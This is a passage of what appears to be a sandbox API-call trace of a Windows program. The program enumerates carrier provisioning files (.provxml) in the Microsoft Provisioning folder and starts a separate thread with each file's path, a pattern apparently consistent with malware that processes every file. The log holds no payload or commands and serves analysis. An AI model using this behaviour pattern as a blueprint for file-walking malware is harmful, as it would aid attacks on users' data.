(_String1="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0178.607] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe2148 [0178.607] wcscpy (in: _Dest=0x2fe2148, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.607] wcscat (in: _Dest=0x2fe2148, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.607] wcscat (in: _Dest=0x2fe2148, _Source="267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0178.607] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe2148, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c [0178.608] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="268__C~1.PRO")) returned 1 [0178.608] wcscmp (_String1="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.608] wcscmp (_String1="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3042538 [0178.608] wcscpy (in: _Dest=0x3042538, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.608] wcscat (in: _Dest=0x3042538, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.608] wcscat (in: _Dest=0x3042538, _Source="268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" [0178.608] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042538, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x840 [0178.609] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", cAlternateFileName="269__C~1.PRO")) returned 1 [0178.609] wcscmp (_String1="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2=".") returned 1 [0178.609] wcscmp (_String1="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", _String2="..") returned 1 [0178.609] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x128) returned 0x2fe1650 [0178.609] wcscpy (in: _Dest=0x2fe1650, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.609] wcscat (in: _Dest=0x2fe1650, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.609] wcscat (in: _Dest=0x2fe1650, _Source="269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\269__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" [0178.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2fe1650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x420 [0178.610] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901892f8, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x901892f8, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x901892f8, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x33b, dwReserved0=0x0, dwReserved1=0x0, cFileName="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", cAlternateFileName="26__CO~1.PRO")) returned 1 [0178.610] wcscmp (_String1="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.610] wcscmp (_String1="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x138) returned 0x3046588 [0178.610] wcscpy (in: _Dest=0x3046588, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.610] wcscat (in: _Dest=0x3046588, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.610] wcscat (in: _Dest=0x3046588, _Source="26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\26__Connections_Cellular_A1 (Austria)_i0$(__MVID)@WAP.provxml" [0178.610] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3046588, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6f4 [0178.611] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a07ce9, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a07ce9, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a07ce9, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x317, dwReserved0=0x0, dwReserved1=0x0, cFileName="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", cAlternateFileName="270__C~1.PRO")) returned 1 [0178.611] wcscmp (_String1="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.611] wcscmp (_String1="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.611] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x148) returned 0x3041bd0 [0178.611] wcscpy (in: _Dest=0x3041bd0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.611] wcscat (in: _Dest=0x3041bd0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.611] wcscat (in: _Dest=0x3041bd0, _Source="270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\270__Connections_Cellular_Telefonica (Mexico)_i0$(__MVID)@WAP.provxml" [0178.611] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3041bd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674 [0178.612] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x389, dwReserved0=0x0, dwReserved1=0x0, cFileName="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="271__C~1.PRO")) returned 1 [0178.612] wcscmp (_String1="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0178.612] wcscmp (_String1="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0178.612] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3042ea0 [0178.612] wcscpy (in: _Dest=0x3042ea0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0178.612] wcscat (in: _Dest=0x3042ea0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0178.612] wcscat (in: _Dest=0x3042ea0, _Source="271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\271__Connections_Cellular_Telenor (Montenegro)_i0$(__MVID)@WAP.provxml" [0178.612] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042ea0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x83c [0178.613] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x307, dwReserved0=0x0, dwReserved1=0x0, cFileName="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="272__C~1.PRO")) returned 1 [0179.008] wcscmp (_String1="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.008] wcscmp (_String1="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.008] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14c) returned 0x3042bf0 [0179.008] wcscpy (in: _Dest=0x3042bf0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.008] wcscat (in: _Dest=0x3042bf0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.008] wcscat (in: _Dest=0x3042bf0, _Source="272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\272__Connections_Cellular_T-Mobile (Montenegro)_i0$(__MVID)@WAP.provxml" [0179.045] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042bf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5dc [0179.046] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a2df51, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a2df51, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a2df51, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x357, dwReserved0=0x0, dwReserved1=0x0, cFileName="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", cAlternateFileName="273__C~1.PRO")) returned 1 [0179.046] wcscmp (_String1="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.046] wcscmp (_String1="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2f6ab60 [0179.046] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.046] wcscat (in: _Dest=0x2f6ab60, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.046] wcscat (in: _Dest=0x2f6ab60, _Source="273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\273__Connections_Cellular_Crnogorski Telekom (Montenegro)_i0$(__MVID)@WAP.provxml" [0179.046] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2f6ab60, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4e8 [0179.047] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2c3, dwReserved0=0x0, dwReserved1=0x0, cFileName="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", cAlternateFileName="274__C~1.PRO")) returned 1 [0179.047] wcscmp (_String1="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.047] wcscmp (_String1="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.047] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x150) returned 0x3042a98 [0179.047] wcscpy (in: _Dest=0x3042a98, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.047] wcscat (in: _Dest=0x3042a98, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.047] wcscat (in: _Dest=0x3042a98, _Source="274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\274__Connections_Cellular_Maroc Telecom (Morocco)_i0$(__MVID)@WAP.provxml" [0179.047] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3042a98, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x5cc [0179.047] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a541c1, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a541c1, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a541c1, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2da, dwReserved0=0x0, dwReserved1=0x0, cFileName="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", cAlternateFileName="275__C~1.PRO")) returned 1 [0179.048] wcscmp (_String1="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.048] wcscmp (_String1="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x160) returned 0x2ff25d0 [0179.048] wcscpy (in: _Dest=0x2ff25d0, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.048] wcscat (in: _Dest=0x2ff25d0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.048] wcscat (in: _Dest=0x2ff25d0, _Source="275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" [0179.048] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x2ff25d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4dc [0179.048] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, ftLastAccessTime.dwHighDateTime=0x1d2e96f, ftLastWriteTime.dwLowDateTime=0x90a7a428, ftLastWriteTime.dwHighDateTime=0x1d2e96f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", cAlternateFileName="276__C~1.PRO")) returned 1 [0179.048] wcscmp (_String1="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", _String2=".") returned 1 [0179.048] wcscmp (_String1="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml", _String2="..") returned 1 [0179.048] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x14a) returned 0x3043808 [0179.048] wcscpy (in: _Dest=0x3043808, _Source="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime" [0179.049] wcscat (in: _Dest=0x3043808, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\" [0179.049] wcscat (in: _Dest=0x3043808, _Source="276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml") returned="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" [0179.049] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2c477a0, lpParameter=0x3043808, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x860 [0179.049] FindNextFileW (in: hFindFile=0x2f80360, lpFindFileData=0x3022bf0 | out: lpFindFileData=0x3022bf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90a7a428, ftCreationTime.dwHighDateTime=0x1d2e96f, ftLastAccessTime.dwLowDateTime=0x90a7a428, 